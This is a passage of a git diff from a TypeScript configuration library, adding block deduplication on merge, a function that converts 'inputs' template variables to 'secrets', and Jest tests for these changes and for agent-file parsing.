Block +version: 1.0.0 +schema: v1 +models: + - name: static-model + provider: ollama + model: llama3.1 + defaultCompletionOptions: + temperature: 0.5 + stream: false +`; + + const blockId: PackageIdentifier = { + uriType: "file", + fileUri: "file:///test/static-block.yaml", + }; + + mockRegistry.setContent( + "file:///test/static-block.yaml", + staticBlockContent, + ); + + const result = await unrollBlocks( + assistant, + mockRegistry, + [blockId], + undefined, + undefined, + undefined, + ); + + expect(result.config).toBeDefined(); + + // Check that static content is preserved as-is + expect(result.config!.models).toBeDefined(); + expect(result.config!.models!.length).toBe(1); + const model = result.config!.models![0]!; + expect(model.name).toBe("static-model"); + expect(model.provider).toBe("ollama"); + expect(model.model).toBe("llama3.1"); + expect(model.defaultCompletionOptions?.temperature).toBe(0.5); + expect(model.defaultCompletionOptions?.stream).toBe(false); + }); + + it("preserves non-input template variables", async () => { + const assistant: ConfigYaml = { + name: "Mixed Variables Assistant", + version: "1.0.0", + }; + + const mixedBlockContent = ` +name: Mixed Variables Block +version: 1.0.0 +schema: v1 +rules: + - "Input: \${{ inputs.userSetting }} | Secret: \${{ secrets.apiKey }} | Continue: \${{ continue.workspaceRoot }}" +`; + + const blockId: PackageIdentifier = { + uriType: "file", + fileUri: "file:///test/mixed-block.yaml", + }; + + mockRegistry.setContent("file:///test/mixed-block.yaml", mixedBlockContent); + + const result = await unrollBlocks( + assistant, + mockRegistry, + [blockId], + undefined, + undefined, + undefined, + ); + + expect(result.config).toBeDefined(); + expect(result.config!.rules).toBeDefined(); + expect(result.config!.rules!.length).toBe(1); + + const rule = result.config!.rules![0]!; + let ruleText: string; + if (typeof rule === "string") { + ruleText = rule; + } else { + ruleText = rule.rule; + } + + // Input should be converted to secret, others should remain unchanged + expect(ruleText).toBe( + "Input: ${{ secrets.userSetting }} | Secret: ${{ secrets.apiKey }} | Continue: ${{ continue.workspaceRoot }}", + ); + + // Verify only inputs were converted + const configStr = JSON.stringify(result.config); + expect(configStr).not.toContain("inputs.userSetting"); + expect(configStr).toContain("secrets.apiKey"); + expect(configStr).toContain("continue.workspaceRoot"); + }); + + it("adds source file information to injected blocks", async () => { + const assistant: ConfigYaml = { + name: "Source Test Assistant", + version: "1.0.0", + }; + + const blockContent = ` +name: Source Block +version: 1.0.0 +schema: v1 +rules: + - name: custom-rule + rule: "Always add type hints with \${{ inputs.typeStyle }}" + description: "Enforce type hints for better code clarity" +`; + + const blockId: PackageIdentifier = { + uriType: "file", + fileUri: "file:///test/source-block.yaml", + }; + + mockRegistry.setContent("file:///test/source-block.yaml", blockContent); + + const result = await unrollBlocks( + assistant, + mockRegistry, + [blockId], + undefined, + undefined, + undefined, + ); + + expect(result.config).toBeDefined(); + + // Check that rules have source file information + expect(result.config!.rules).toBeDefined(); + expect(result.config!.rules!.length).toBe(1); + const rule = result.config!.rules![0]; + expect(rule).toMatchObject({ + name: "custom-rule", + rule: "Always add type hints with ${{ secrets.typeStyle }}", + description: "Enforce type hints for better code clarity", + sourceFile: "file:///test/source-block.yaml", + }); + + // Verify input was converted + const configStr = JSON.stringify(result.config); + expect(configStr).not.toContain("inputs.typeStyle"); + }); + + it("handles complex nested input variables", async () => { + const assistant: ConfigYaml = { + name: "Nested Variables Assistant", + version: "1.0.0", + }; + + const nestedBlockContent = ` +name: Nested Variables Block +version: 1.0.0 +schema: v1 +rules: + - "Database config: host=\${{ inputs.db.host }};port=\${{ inputs.db.port }};user=\${{ inputs.db.user }}" +`; + + const blockId: PackageIdentifier = { + uriType: "file", + fileUri: "file:///test/nested-block.yaml", + }; + + mockRegistry.setContent( + "file:///test/nested-block.yaml", + nestedBlockContent, + ); + + const result = await unrollBlocks( + assistant, + mockRegistry, + [blockId], + undefined, + undefined, + undefined, + ); + + expect(result.config).toBeDefined(); + expect(result.config!.rules).toBeDefined(); + expect(result.config!.rules!.length).toBe(1); + + const rule = result.config!.rules![0]!; + let ruleText: string; + if (typeof rule === "string") { + ruleText = rule; + } else { + ruleText = rule.rule; + } + + // All nested inputs should be converted to secrets + expect(ruleText).toBe( + "Database config: host=${{ secrets.db.host }};port=${{ secrets.db.port }};user=${{ secrets.db.user }}", + ); + + // Verify all nested inputs were converted + const configStr = JSON.stringify(result.config); + expect(configStr).not.toContain("inputs.db.host"); + expect(configStr).not.toContain("inputs.db.port"); + expect(configStr).not.toContain("inputs.db.user"); + }); +}); diff --git a/packages/config-yaml/src/load/merge.ts b/packages/config-yaml/src/load/merge.ts index ebd2e9633..9b5b254a4 100644 --- a/packages/config-yaml/src/load/merge.ts +++ b/packages/config-yaml/src/load/merge.ts @@ -1,5 +1,6 @@ -import { RequestOptions } from "../browser.js"; +import { BLOCK_TYPES, RequestOptions } from "../browser.js"; import { AssistantUnrolled, ConfigYaml } from "../schemas/index.js"; +import { BlockDuplicationDetector } from "./blockDuplicationDetector.js"; export function mergePackages( current: ConfigYaml, @@ -26,21 +27,35 @@ export function mergeUnrolledAssistants( current: AssistantUnrolled, incoming: AssistantUnrolled, ): AssistantUnrolled { - return { + const assistant: AssistantUnrolled = { ...current, - rules: [...(current.rules ?? []), ...(incoming.rules ?? [])], - models: [...(current.models ?? []), ...(incoming.models ?? [])], - docs: [...(current.docs ?? []), ...(incoming.docs ?? [])], - context: [...(current.context ?? []), ...(incoming.context ?? [])], - data: [...(current.data ?? []), ...(incoming.data ?? [])], - mcpServers: [...(current.mcpServers ?? []), ...(incoming.mcpServers ?? [])], - prompts: [...(current.prompts ?? []), ...(incoming.prompts ?? [])], env: { ...current.env, ...incoming.env }, requestOptions: mergeConfigYamlRequestOptions( current.requestOptions, incoming.requestOptions, ), }; + + const duplicationDetector = new BlockDuplicationDetector(); + for (const blockType of BLOCK_TYPES) { + const allOfType = [ + ...(incoming[blockType] ?? []), + ...(current[blockType] ?? []), + ]; + const deduplicated: typeof allOfType = []; + for (const block of allOfType) { + if (block && !duplicationDetector.isDuplicated(block, blockType)) { + deduplicated.push(block); + } + } + if (deduplicated.length > 0) { + assistant[blockType] = deduplicated as any; + } else { + assistant[blockType] = undefined; + } + } + + return assistant; } export function mergeConfigYamlRequestOptions( diff --git a/packages/config-yaml/src/load/mergeUnrolledAssistants.test.ts b/packages/config-yaml/src/load/mergeUnrolledAssistants.test.ts new file mode 100644 index 000000000..9f7ec1d7f --- /dev/null +++ b/packages/config-yaml/src/load/mergeUnrolledAssistants.test.ts @@ -0,0 +1,562 @@ +import { describe, expect, it } from "@jest/globals"; +import { AssistantUnrolled } from "../schemas/index.js"; +import { mergeUnrolledAssistants } from "./merge.js"; + +describe("mergeUnrolledAssistants", () => { + const createBaseConfig = (): AssistantUnrolled => ({ + name: "Base Assistant", + version: "1.0.0", + models: [ + { + name: "gpt-4", + model: "gpt-4", + provider: "openai", + }, + ], + context: [ + { + provider: "file", + }, + ], + rules: [ + { + name: "typescript-style", + rule: "Use TypeScript best practices", + }, + ], + prompts: [ + { + name: "code-review", + description: "Review code for best practices", + prompt: "Please review this code", + }, + ], + docs: [ + { + name: "api-docs", + startUrl: "https://api.example.com/docs", + }, + ], + data: [ + { + name: "user-data", + destination: "memory", + schema: "0.1.0", + }, + ], + mcpServers: [ + { + name: "filesystem", + command: "npx", + args: ["@modelcontextprotocol/server-filesystem"], + env: { + ROOT_PATH: "/tmp", + }, + }, + ], + env: { + API_KEY: "base-key", + }, + requestOptions: { + timeout: 5000, + headers: { + "X-Base": "value", + }, + }, + }); + + const createIncomingConfig = (): AssistantUnrolled => ({ + name: "Incoming Assistant", + version: "1.1.0", + models: [ + { + name: "gpt-3.5-turbo", + model: "gpt-3.5-turbo", + provider: "openai", + }, + ], + context: [ + { + provider: "git", + }, + ], + rules: [ + { + name: "code-formatting", + rule: "Use Prettier for code formatting", + }, + ], + prompts: [ + { + name: "bug-fix", + description: "Fix bugs in code", + prompt: "Please fix the bug in this code", + }, + ], + docs: [ + { + name: "user-guide", + startUrl: "https://docs.example.com/guide", + }, + ], + data: [ + { + name: "project-data", + destination: "filesystem", + schema: "0.1.0", + }, + ], + mcpServers: [ + { + name: "git-server", + command: "npx", + args: ["@modelcontextprotocol/server-git"], + }, + ], + env: { + API_TOKEN: "incoming-token", + API_KEY: "incoming-key", // This will override base via object spread + }, + requestOptions: { + timeout: 3000, + headers: { + "X-Incoming": "value", + "X-Base": "overridden", + }, + }, + }); + + it("should merge all block types without duplicates", () => { + const base = createBaseConfig(); + const incoming = createIncomingConfig(); + const result = mergeUnrolledAssistants(base, incoming); + + // Should have models from both configs (incoming first due to priority) + expect(result.models).toHaveLength(2); + expect(result.models?.map((m) => m?.name)).toEqual([ + "gpt-3.5-turbo", + "gpt-4", + ]); + + // Should have context from both configs (incoming first due to priority) + expect(result.context).toHaveLength(2); + expect(result.context?.map((c) => c?.provider)).toEqual(["git", "file"]); + + // Should have rules from both configs (incoming first due to priority) + expect(result.rules).toHaveLength(2); + expect( + result.rules?.map((r) => (typeof r === "string" ? r : r?.name)), + ).toEqual(["code-formatting", "typescript-style"]); + + // Should have prompts from both configs (incoming first due to priority) + expect(result.prompts).toHaveLength(2); + expect(result.prompts?.map((p) => p?.name)).toEqual([ + "bug-fix", + "code-review", + ]); + + // Should have docs from both configs (incoming first due to priority) + expect(result.docs).toHaveLength(2); + expect(result.docs?.map((d) => d?.name)).toEqual([ + "user-guide", + "api-docs", + ]); + + // Should have data from both configs (incoming first due to priority) + expect(result.data).toHaveLength(2); + expect(result.data?.map((d) => d?.name)).toEqual([ + "project-data", + "user-data", + ]); + + // Should have mcpServers from both configs (incoming first due to priority) + expect(result.mcpServers).toHaveLength(2); + expect(result.mcpServers?.map((s) => s?.name)).toEqual([ + "git-server", + "filesystem", + ]); + }); + + it("should deduplicate models by name", () => { + const base = createBaseConfig(); + const incoming: AssistantUnrolled = { + name: "Incoming Assistant", + version: "1.1.0", + models: [ + { + name: "gpt-4", // Duplicate name + model: "gpt-4", + provider: "openai", + }, + { + name: "claude-3", + model: "claude-3-sonnet-20240229", + provider: "anthropic", + }, + ], + }; + + const result = mergeUnrolledAssistants(base, incoming); + + // Should only have 2 models (incoming gpt-4 and incoming claude-3) + expect(result.models).toHaveLength(2); + expect(result.models?.map((m) => m?.name)).toEqual(["gpt-4", "claude-3"]); + // Should keep the incoming version of gpt-4 (base version filtered as duplicate) + expect(result.models?.[0]?.model).toBe("gpt-4"); + }); + + it("should deduplicate context by provider", () => { + const base = createBaseConfig(); + const incoming: AssistantUnrolled = { + name: "Incoming Assistant", + version: "1.1.0", + context: [ + { + name: "file-context", // Different name but same provider + provider: "file", // Same provider as base + }, + { + name: "terminal", + provider: "terminal", + }, + ], + }; + + const result = mergeUnrolledAssistants(base, incoming); + + // Should only have 2 context providers (incoming file and incoming terminal) + expect(result.context).toHaveLength(2); + expect(result.context?.map((c) => c?.provider)).toEqual([ + "file", + "terminal", + ]); + // Should keep the incoming version of file provider (base version filtered as duplicate) + expect(result.context?.[0]?.name).toBe("file-context"); + }); + + it("should deduplicate rules by name", () => { + const base = createBaseConfig(); + const incoming: AssistantUnrolled = { + name: "Incoming Assistant", + version: "1.1.0", + rules: [ + { + name: "typescript-style", // Duplicate name + rule: "Use different TypeScript practices", + }, + { + name: "naming-convention", + rule: "Use camelCase for variables", + }, + ], + }; + + const result = mergeUnrolledAssistants(base, incoming); + + // Should only have 2 rules (incoming typescript-style and incoming naming-convention) + expect(result.rules).toHaveLength(2); + expect( + result.rules?.map((r) => (typeof r === "string" ? r : r?.name)), + ).toEqual(["typescript-style", "naming-convention"]); + // Should keep the incoming version of typescript-style (base version filtered as duplicate) + const typescriptRule = result.rules?.[0] as any; + expect(typescriptRule.rule).toBe("Use different TypeScript practices"); + }); + + it("should deduplicate string rules", () => { + const base: AssistantUnrolled = { + name: "Base Assistant", + version: "1.0.0", + rules: ["Use semicolons", "Format with Prettier"], + }; + + const incoming: AssistantUnrolled = { + name: "Incoming Assistant", + version: "1.1.0", + rules: [ + "Use semicolons", // Duplicate + "Use const instead of let", + ], + }; + + const result = mergeUnrolledAssistants(base, incoming); + + // Should only have 3 unique rules (incoming first, then non-duplicates from base) + expect(result.rules).toHaveLength(3); + expect(result.rules).toEqual([ + "Use semicolons", + "Use const instead of let", + "Format with Prettier", + ]); + }); + + it("should deduplicate prompts by name", () => { + const base = createBaseConfig(); + const incoming: AssistantUnrolled = { + name: "Incoming Assistant", + version: "1.1.0", + prompts: [ + { + name: "code-review", // Duplicate name + description: "Different review process", + prompt: "Different review prompt", + }, + { + name: "documentation", + description: "Generate documentation", + prompt: "Create docs for this code", + }, + ], + }; + + const result = mergeUnrolledAssistants(base, incoming); + + // Should only have 2 prompts (incoming code-review and incoming documentation) + expect(result.prompts).toHaveLength(2); + expect(result.prompts?.map((p) => p?.name)).toEqual([ + "code-review", + "documentation", + ]); + // Should keep the incoming version of code-review (base version filtered as duplicate) + expect(result.prompts?.[0]?.description).toBe("Different review process"); + }); + + it("should deduplicate docs by name", () => { + const base = createBaseConfig(); + const incoming: AssistantUnrolled = { + name: "Incoming Assistant", + version: "1.1.0", + docs: [ + { + name: "api-docs", // Duplicate name + startUrl: "https://different-api.example.com/docs", + }, + { + name: "tutorials", + startUrl: "https://tutorials.example.com", + }, + ], + }; + + const result = mergeUnrolledAssistants(base, incoming); + + // Should only have 2 docs (incoming api-docs and incoming tutorials) + expect(result.docs).toHaveLength(2); + expect(result.docs?.map((d) => d?.name)).toEqual(["api-docs", "tutorials"]); + // Should keep the incoming version of api-docs (base version filtered as duplicate) + expect(result.docs?.[0]?.startUrl).toBe( + "https://different-api.example.com/docs", + ); + }); + + it("should deduplicate data by name", () => { + const base = createBaseConfig(); + const incoming: AssistantUnrolled = { + name: "Incoming Assistant", + version: "1.1.0", + data: [ + { + name: "user-data", // Duplicate name + destination: "different-provider", + schema: "0.1.0", + }, + { + name: "system-data", + destination: "system", + schema: "0.1.0", + }, + ], + }; + + const result = mergeUnrolledAssistants(base, incoming); + + // Should only have 2 data sources (incoming user-data and incoming system-data) + expect(result.data).toHaveLength(2); + expect(result.data?.map((d) => d?.name)).toEqual([ + "user-data", + "system-data", + ]); + // Should keep the incoming version of user-data (base version filtered as duplicate) + expect(result.data?.[0]?.destination).toBe("different-provider"); + }); + + it("should deduplicate mcpServers by name", () => { + const base = createBaseConfig(); + const incoming: AssistantUnrolled = { + name: "Incoming Assistant", + version: "1.1.0", + mcpServers: [ + { + name: "filesystem", // Duplicate name + command: "different-command", + args: ["different-args"], + }, + { + name: "database", + command: "db-server", + args: ["--port", "5432"], + }, + ], + }; + + const result = mergeUnrolledAssistants(base, incoming); + + // Should only have 2 MCP servers (incoming filesystem and incoming database) + expect(result.mcpServers).toHaveLength(2); + expect(result.mcpServers?.map((s) => s?.name)).toEqual([ + "filesystem", + "database", + ]); + // Should keep the incoming version of filesystem (base version filtered as duplicate) + const firstMcpServer = result.mcpServers?.[0]; + if (firstMcpServer && "command" in firstMcpServer) { + expect(firstMcpServer.command).toBe("different-command"); + } + }); + + it("should handle null values in arrays", () => { + const base: AssistantUnrolled = { + name: "Base Assistant", + version: "1.0.0", + models: [ + null, + { + name: "gpt-4", + model: "gpt-4", + provider: "openai", + }, + ], + }; + + const incoming: AssistantUnrolled = { + name: "Incoming Assistant", + version: "1.1.0", + models: [ + { + name: "claude-3", + model: "claude-3-sonnet-20240229", + provider: "anthropic", + }, + null, + ], + }; + + const result = mergeUnrolledAssistants(base, incoming); + + // Should filter out null values and have only 2 models (incoming first due to priority) + expect(result.models).toHaveLength(2); + expect(result.models?.map((m) => m?.name)).toEqual(["claude-3", "gpt-4"]); + }); + + it("should merge env variables with incoming overriding base", () => { + const base = createBaseConfig(); + const incoming = createIncomingConfig(); + const result = mergeUnrolledAssistants(base, incoming); + + expect(result.env).toEqual({ + API_KEY: "incoming-key", // Should be overridden by incoming + API_TOKEN: "incoming-token", // New from incoming + }); + }); + + it("should merge requestOptions correctly", () => { + const base = createBaseConfig(); + const incoming = createIncomingConfig(); + const result = mergeUnrolledAssistants(base, incoming); + + expect(result.requestOptions).toEqual({ + timeout: 5000, // Base overrides incoming + headers: { + "X-Base": "value", // Base overrides incoming in headers too + "X-Incoming": "value", // New from incoming + }, + }); + }); + + it("should handle empty arrays and undefined fields", () => { + const base: AssistantUnrolled = { + name: "Base Assistant", + version: "1.0.0", + models: [], + context: undefined, + }; + + const incoming: AssistantUnrolled = { + name: "Incoming Assistant", + version: "1.1.0", + models: [ + { + name: "gpt-4", + model: "gpt-4", + provider: "openai", + }, + ], + rules: [], + }; + + const result = mergeUnrolledAssistants(base, incoming); + + expect(result.models).toHaveLength(1); + expect(result.models?.[0]?.name).toBe("gpt-4"); + expect(result.context).toBeUndefined(); + expect(result.rules).toBeUndefined(); + }); + + it("should preserve name and version from base config", () => { + const base = createBaseConfig(); + const incoming = createIncomingConfig(); + const result = mergeUnrolledAssistants(base, incoming); + + expect(result.name).toBe("Base Assistant"); + expect(result.version).toBe("1.0.0"); + }); + + it("should handle complex deduplication scenario with mixed types", () => { + const base: AssistantUnrolled = { + name: "Base Assistant", + version: "1.0.0", + rules: [ + "Simple rule 1", + { + name: "complex-rule", + rule: "Complex rule description", + }, + "Simple rule 2", + ], + }; + + const incoming: AssistantUnrolled = { + name: "Incoming Assistant", + version: "1.1.0", + rules: [ + "Simple rule 1", // Duplicate + { + name: "complex-rule", // Duplicate by name + rule: "Different complex rule description", + }, + { + name: "new-complex-rule", + rule: "New complex rule", + }, + "Simple rule 3", + ], + }; + + const result = mergeUnrolledAssistants(base, incoming); + + expect(result.rules).toHaveLength(5); // 4 incoming + 1 from base (2 duplicates filtered) + expect(result.rules).toEqual([ + "Simple rule 1", // From incoming (base duplicate filtered) + { + name: "complex-rule", + rule: "Different complex rule description", // Should keep incoming version + }, + { + name: "new-complex-rule", + rule: "New complex rule", + }, + "Simple rule 3", + "Simple rule 2", // From base (only non-duplicate left) + ]); + }); +}); diff --git a/packages/config-yaml/src/load/unroll.test.ts b/packages/config-yaml/src/load/unroll.test.ts index 9b2551f2d..9a308dd9b 100644 --- a/packages/config-yaml/src/load/unroll.test.ts +++ b/packages/config-yaml/src/load/unroll.test.ts @@ -1,5 +1,8 @@ import { PackageIdentifier } from "../interfaces/slugs.js"; -import { parseMarkdownRuleOrAssistantUnrolled } from "./unroll.js"; +import { + parseMarkdownRuleOrAssistantUnrolled, + replaceInputsWithSecrets, +} from "./unroll.js"; describe("parseMarkdownRuleOrAssistantUnrolled tests", () => { it("parses valid YAML content as AssistantUnrolled", () => { @@ -32,7 +35,6 @@ models: --- name: rulename description: my rule description -pattern: "**" --- This is the rule `; @@ -48,7 +50,7 @@ This is the rule const rule = result.rules![0]; expect(rule).toHaveProperty("name", "rulename"); expect(rule).toHaveProperty("description", "my rule description"); - expect(rule).toHaveProperty("globs", "./foo/**/*"); + expect(rule).toHaveProperty("globs", undefined); expect(rule).toHaveProperty("rule", "This is the rule"); }); @@ -74,7 +76,7 @@ model: # should be models it("Every non-YAML file is a rule", () => { const mockId: PackageIdentifier = { uriType: "file", - fileUri: "./foo/bar", + fileUri: "file:///foo/bar", }; const dubiousContent = `This is not \nproper #YAML#`; const result = parseMarkdownRuleOrAssistantUnrolled(dubiousContent, mockId); @@ -85,7 +87,190 @@ model: # should be models expect(result.rules!.length).toBe(1); const rule = result.rules![0]; expect(rule).toHaveProperty("name", "foo/bar"); - expect(rule).toHaveProperty("globs", "./foo/**/*"); + expect(rule).toHaveProperty("globs", undefined); expect(rule).toHaveProperty("rule", dubiousContent); }); }); + +describe("replaceInputsWithSecrets tests", () => { + it("replaces single input with secret", () => { + const yamlContent = ` +name: Test +version: 1.0.0 +data: + value: \${{ inputs.apiKey }} +`; + const result = replaceInputsWithSecrets(yamlContent); + expect(result).toContain("\${{ secrets.apiKey }}"); + expect(result).not.toContain("\${{ inputs.apiKey }}"); + }); + + it("replaces multiple inputs with secrets", () => { + const yamlContent = ` +name: Test +version: 1.0.0 +data: + apiKey: \${{ inputs.apiKey }} + dbPassword: \${{ inputs.dbPassword }} + endpoint: \${{ inputs.endpoint }} +`; + const result = replaceInputsWithSecrets(yamlContent); + expect(result).toContain("\${{ secrets.apiKey }}"); + expect(result).toContain("\${{ secrets.dbPassword }}"); + expect(result).toContain("\${{ secrets.endpoint }}"); + expect(result).not.toContain("\${{ inputs.apiKey }}"); + expect(result).not.toContain("\${{ inputs.dbPassword }}"); + expect(result).not.toContain("\${{ inputs.endpoint }}"); + }); + + it("leaves secrets template variables unchanged", () => { + const yamlContent = ` +name: Test +version: 1.0.0 +data: + apiKey: \${{ secrets.existingSecret }} + dbPassword: \${{ inputs.dbPassword }} +`; + const result = replaceInputsWithSecrets(yamlContent); + expect(result).toContain("\${{ secrets.existingSecret }}"); + expect(result).toContain("\${{ secrets.dbPassword }}"); + expect(result).not.toContain("\${{ inputs.dbPassword }}"); + }); + + it("leaves other template variables unchanged", () => { + const yamlContent = ` +name: Test +version: 1.0.0 +data: + apiKey: \${{ inputs.apiKey }} + environment: \${{ continue.environment }} + customVar: \${{ other.variable }} +`; + const result = replaceInputsWithSecrets(yamlContent); + expect(result).toContain("\${{ secrets.apiKey }}"); + expect(result).toContain("\${{ continue.environment }}"); + expect(result).toContain("\${{ other.variable }}"); + expect(result).not.toContain("\${{ inputs.apiKey }}"); + }); + + it("handles yaml with no input template variables", () => { + const yamlContent = ` +name: Test +version: 1.0.0 +data: + staticValue: "hello world" + secretValue: \${{ secrets.mySecret }} +`; + const result = replaceInputsWithSecrets(yamlContent); + expect(result).toBe(yamlContent); // Should remain unchanged + expect(result).toContain("\${{ secrets.mySecret }}"); + }); + + it("handles empty string", () => { + const yamlContent = ""; + const result = replaceInputsWithSecrets(yamlContent); + expect(result).toBe(""); + }); + + it("handles inputs with whitespace in template variables", () => { + const yamlContent = ` +name: Test +version: 1.0.0 +data: + value1: \${{ inputs.apiKey }} + value2: \${{\tinputs.tabbed\t}} + value3: \${{\n inputs.multiline \n}} +`; + const result = replaceInputsWithSecrets(yamlContent); + expect(result).toContain("\${{ secrets.apiKey }}"); + expect(result).toContain("\${{ secrets.tabbed }}"); + expect(result).toContain("\${{ secrets.multiline }}"); + expect(result).not.toContain("inputs.apiKey"); + expect(result).not.toContain("inputs.tabbed"); + expect(result).not.toContain("inputs.multiline"); + }); + + it("handles nested input keys", () => { + const yamlContent = ` +name: Test +version: 1.0.0 +data: + config: \${{ inputs.database.host }} + port: \${{ inputs.database.port }} +`; + const result = replaceInputsWithSecrets(yamlContent); + expect(result).toContain("\${{ secrets.database.host }}"); + expect(result).toContain("\${{ secrets.database.port }}"); + expect(result).not.toContain("inputs.database.host"); + expect(result).not.toContain("inputs.database.port"); + }); + + it("handles multiple inputs on same line", () => { + const yamlContent = ` +name: Test +version: 1.0.0 +data: + connectionString: "host=\${{ inputs.host }};port=\${{ inputs.port }};user=\${{ inputs.user }}" +`; + const result = replaceInputsWithSecrets(yamlContent); + expect(result).toContain("\${{ secrets.host }}"); + expect(result).toContain("\${{ secrets.port }}"); + expect(result).toContain("\${{ secrets.user }}"); + expect(result).not.toContain("inputs.host"); + expect(result).not.toContain("inputs.port"); + expect(result).not.toContain("inputs.user"); + }); + + it("preserves malformed template variables that don't start with inputs", () => { + const yamlContent = ` +name: Test +version: 1.0.0 +data: + value1: \${{ inputs.valid }} + value2: \${{ malformed.inputs.something }} + value3: \${{ input.typo }} +`; + const result = replaceInputsWithSecrets(yamlContent); + expect(result).toContain("\${{ secrets.valid }}"); + expect(result).toContain("\${{ malformed.inputs.something }}"); // Should remain unchanged + expect(result).toContain("\${{ input.typo }}"); // Should remain unchanged (typo in 'input') + expect(result).not.toContain("inputs.valid"); + }); + + it("handles YAML with complex structure", () => { + const yamlContent = ` +name: Complex Test +version: 1.0.0 +models: + - name: gpt-4 + apiKey: \${{ inputs.openaiKey }} +prompts: + - name: system + content: "You are a helpful assistant. API key: \${{ inputs.openaiKey }}" +rules: + - "Use \${{ inputs.style }} formatting" +data: + config: + database: + host: \${{ inputs.dbHost }} + password: \${{ inputs.dbPassword }} + external: + secret: \${{ secrets.external }} + other: \${{ other.variable }} +`; + const result = replaceInputsWithSecrets(yamlContent); + // Check all inputs were replaced with secrets + expect(result).toContain("\${{ secrets.openaiKey }}"); + expect(result).toContain("\${{ secrets.style }}"); + expect(result).toContain("\${{ secrets.dbHost }}"); + expect(result).toContain("\${{ secrets.dbPassword }}"); + // Check that non-input variables remain unchanged + expect(result).toContain("\${{ secrets.external }}"); + expect(result).toContain("\${{ other.variable }}"); + // Check that no input variables remain + expect(result).not.toContain("inputs.openaiKey"); + expect(result).not.toContain("inputs.style"); + expect(result).not.toContain("inputs.dbHost"); + expect(result).not.toContain("inputs.dbPassword"); + }); +}); diff --git a/packages/config-yaml/src/load/unroll.ts b/packages/config-yaml/src/load/unroll.ts index f7476c255..6aa8c5cc0 100644 --- a/packages/config-yaml/src/load/unroll.ts +++ b/packages/config-yaml/src/load/unroll.ts @@ -50,12 +50,12 @@ export function parseConfigYaml(configYaml: string): ConfigYaml { "cause" in e && e.cause === "result.success was false" ) { - throw new Error(`Failed to parse agent: ${e.message}`); + throw new Error(`Failed to parse config: ${e.message}`); } else if (e instanceof ZodError) { - throw new Error(`Failed to parse agent: ${formatZodError(e)}`); + throw new Error(`Failed to parse config: ${formatZodError(e)}`); } else { throw new Error( - `Failed to parse agent: ${e instanceof Error ? e.message : e}`, + `Failed to parse config: ${e instanceof Error ? e.message : e}`, ); } } @@ -70,7 +70,7 @@ export function parseAssistantUnrolled(configYaml: string): AssistantUnrolled { console.error( `Failed to parse unrolled assistant: ${e.message}\n\n${configYaml}`, ); - throw new Error(`Failed to parse agent: ${formatZodError(e)}`); + throw new Error(`Failed to parse config: ${formatZodError(e)}`); } } @@ -239,6 +239,18 @@ export async function unrollAssistant( return result; } +export function replaceInputsWithSecrets(yamlContent: string): string { + const inputsToSecretsMap: Record = {}; + + getTemplateVariables(yamlContent) + .filter((v) => v.startsWith("inputs.")) + .forEach((v) => { + inputsToSecretsMap[v] = `\${{ ${v.replace("inputs.", "secrets.")} }}`; + }); + + return fillTemplateVariables(yamlContent, inputsToSecretsMap); +} + function renderTemplateData( rawYaml: string, templateData: Partial, @@ -284,7 +296,7 @@ export async function unrollAssistantFromContent( // Convert all of the template variables to FQSNs // Secrets from the block will have the assistant slug prepended to the FQSN - const templatedYaml = renderTemplateData(rawUnrolledYaml, { + let templatedYaml = renderTemplateData(rawUnrolledYaml, { secrets: extractFQSNMap(rawUnrolledYaml, [id]), }); @@ -357,13 +369,6 @@ export async function unrollBlocks( ): Promise> { const errors: ConfigValidationError[] = []; - function injectDuplicationError(errorMsg: string) { - errors.push({ - fatal: false, - message: errorMsg, - }); - } - const unrolledAssistant: AssistantUnrolled = { name: assistant.name, version: assistant.version, @@ -536,16 +541,13 @@ export async function unrollBlocks( const injectedBlockPromises = injectBlocks.map(async (injectBlock) => { try { const blockConfigYaml = await registry.getContent(injectBlock); - const parsedBlock = parseMarkdownRuleOrConfigYaml( - blockConfigYaml, + const blockConfigYamlWithSecrets = + replaceInputsWithSecrets(blockConfigYaml); + const resolvedBlock = parseMarkdownRuleOrConfigYaml( + blockConfigYamlWithSecrets, injectBlock, ); - const blockType = getBlockType(parsedBlock); - const resolvedBlock = await resolveBlock( - injectBlock, - undefined, - registry, - ); + const blockType = getBlockType(resolvedBlock); return { blockType, @@ -622,12 +624,7 @@ export async function unrollBlocks( for (const sectionResult of sectionResults) { if (sectionResult.blocks) { unrolledAssistant[sectionResult.section] = sectionResult.blocks.filter( - (block) => - !detector.isDuplicated( - block, - sectionResult.section, - injectDuplicationError, - ), + (block) => !detector.isDuplicated(block, sectionResult.section), ); } } @@ -635,7 +632,7 @@ export async function unrollBlocks( // Assign rules result if (rulesResult.rules) { unrolledAssistant.rules = rulesResult.rules.filter( - (rule) => !detector.isDuplicated(rule, "rules", injectDuplicationError), + (rule) => !detector.isDuplicated(rule, "rules"), ); } @@ -654,10 +651,7 @@ export async function unrollBlocks( key, resolvedBlock, source, - ).filter( - (block: any) => - !detector.isDuplicated(block, blockType, injectDuplicationError), - ); + ).filter((block: any) => !detector.isDuplicated(block, blockType)); unrolledAssistant[key]?.push(...filteredBlocks); } @@ -727,7 +721,17 @@ export async function resolveBlock( secrets: extractFQSNMap(rawYaml, [id]), }); - return parseMarkdownRuleOrAssistantUnrolled(templatedYaml, id); + // Add source slug for mcp servers + const parsed = parseMarkdownRuleOrAssistantUnrolled(templatedYaml, id); + if ( + id.uriType === "slug" && + "mcpServers" in parsed && + parsed.mcpServers?.[0] + ) { + parsed.mcpServers[0].sourceSlug = `${id.fullSlug.ownerSlug}/${id.fullSlug.packageSlug}`; + } + + return parsed; } export function parseMarkdownRuleOrAssistantUnrolled( diff --git a/packages/config-yaml/src/markdown/agentFiles.test.ts b/packages/config-yaml/src/markdown/agentFiles.test.ts new file mode 100644 index 000000000..5f1a951af --- /dev/null +++ b/packages/config-yaml/src/markdown/agentFiles.test.ts @@ -0,0 +1,604 @@ +import { + AgentFile, + parseAgentFile, + parseAgentFileTools, + serializeAgentFile, +} from "./agentFiles.js"; + +const example = ` +--- +name: Example Agent / Agent File +description: Trying to wrap my head around what are these files +model: anthropic/claude-sonnet-4 +tools: linear-mcp, sentry-mcp:read-alerts, Read, Glob, Bash(git diff:*) +rules: org/rule1, org/rule2 +--- +This is the prompt +`.trim(); + +const minimalExample = ` +--- +name: Minimal Agent File +--- +Just a simple prompt +`.trim(); + +const invalidExample = ` +--- +description: Missing name field +--- +This should fail +`.trim(); + +const noFrontmatterExample = `This is just markdown without frontmatter`; + +const invalidYamlExample = ` +--- +name: [invalid: yaml: syntax +--- +This should fail +`.trim(); + +describe("parseAgentFile", () => { + test("parses complete agent file correctly", () => { + const result = 